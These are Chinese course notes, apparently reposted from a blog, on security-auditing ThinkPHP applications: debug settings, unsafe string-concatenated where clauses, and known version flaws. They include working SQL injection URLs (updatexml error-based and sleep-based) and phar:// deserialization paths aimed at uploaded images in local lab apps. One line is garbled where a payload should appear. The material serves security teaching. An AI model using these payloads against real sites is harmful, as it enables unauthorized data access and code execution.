DAY110代码审计-PHP框架开发篇ThinkPHP版本缺陷不安全写法路由访问利用链
https://blog.csdn.net/m0_60571842/article/details/139057898
看这个原作者
知识点:
1、PHP框架学习-ThinkPHP-架构&调试&路由&接受
2、PHP框架审计-ThinkPHP-不安全写法&版本漏洞
框架审计总结方向:
1、版本不安全写法怎么检测
-本地复现版本写法对比(不是官方写法就是不安全写法)
-参考官方开发手册写法
2、版本自身的漏洞怎么检测
-平常多关注此类框架漏洞
https://github.com/hughink/Thinkphp-All-vuln
-配合黑盒工具检测找入
3、版本自身的漏洞怎么利用
根据漏洞提示找满足条件实现调用
满足条件:对应的函数点和可控变量
一、演示案例-PHP框架审计-ThinkPHP5-不安全写法&版本漏洞
搭建环境:
ThinkPHP V5.1.29+Phpstudy_Pro+PHP7.3+Apache+Mysql
- 1
开发参考:
https://www.kancloud.cn/manual/thinkphp5_1/353946https://www.kancloud.cn/manual/thinkphp5_1/353946
1、解释TP框架开发的源码审计要点
2、参考开发手册学习文件目录含义
3、参考开发手册学习寻找入口文件
4、参考开发手册学习寻找URL对应文件
5、参考开发手册学习如何开启调试模式
开启调试模式:/config/app.php
'app_debug' => true,
'app_trace' => true,
6、参考开发手册学习官方写法和不安全写法。
数据库查询操作
官方写法 预编译机制
public function login(Request $request)
{
$id=$request->param('id');
$data=Db::table('cw_admin')->where('id',$id)->find();
return $data['user'].'|'.$data['pass'];
}
有回显
报错注入语句:
Home | Digital Business Services | TP
版本漏洞 反序列化phar
/index.php/index/login/file_check?f=phar://./1.png
二、演示案例-PHP框架审计-ThinkPHP5-不安全写法-SQL注入
搭建环境:
Phpstudy_Pro+PHP7.3+Apache+Mysql
1
1、查看版本-thinkphp/base.php(搜version找)
define('THINK_VERSION', '5.0.24');
2、找不安全写法-搜where找拼接&黑盒工具
文件:application/bbs/controller/User.php
方法:xiaoxidel
参数:ids id
先登录看下路由地址
application/bbs/controller/User.php
3、application/bbs/controller/User.php(需要注册个用户才能触发)
index.php/bbs/user/xiaoxidel/ids/0/id/1 and updatexml(1,concat(0x7e,user(),0x7e),1)
问题在where语句是直接拼接SQL-where("id ={$id}")
如改为数组的传参就能修复此处问题-where("id",$id)
黑盒工具-入口不安全写法-SQL注入
文件:application/bbs/controller/User.php
方法:home
参数:ids id
/index.php/bbs/user/xiaoxidel/ids/1/id/1 and updatexml(1,concat(0x7e,user(),0x7e),1)
三、演示案例-PHP框架审计ThinkPHP3-版本漏洞-SQL注入
搭建环境:Phpstudy_Pro PHP7.3 Apache Mysql
1、查看版本-ThinkPHP/ThinkPHP.php(搜version找)
const THINK_VERSION = '3.2.3';
2、版本漏洞-SQL注入
Thinkphp3.2.3-漏洞审计汇总 - FreeBuf网络安全行业门户
3、找利用点-搜实现关键字
Application/Admin/Controller/ArticleController.class.php
$data = M('Article')->find(I('id'));
Application/Admin/Controller/ArticleController.class.php
http://shcoolcms//index.php?m=admin&c=Article&a=SaveInfo&id=1
4、Poc构造-利用数据库监控组合注入
/index.php?m=Admin&c=Article&a=SaveInfo&id[where]=id=3 and sleep(5)#
四、演示案例-PHP框架审计-ThinkPHP5-版本漏洞-反序列化
搭建环境:Phpstudy_Pro+PHP7.3+Apache+Mysql
1、查看版本-thinkphp/library/think/App.php(搜version找)
const VERSION = '5.1.41 LTS';
2、版本漏洞-反序列化(借助phpggc模版生成利用phar利用)
3、找利用点-搜file_exists(),fopen(),file_get_contents(),file()等文件操作的函数
路由逻辑分析
/admin.php/update/rmdirr.html?
dirname=phar://./public/upload/menubg/6543297dcccb9.png
/public/upload/userimages/6731d8db58e3a.png
/admin.php/update/rmdirr.html?dirname=phar://./public/upload/userimages/6731d928465e8.png
/public/upload/userimages/6731d928465e8.png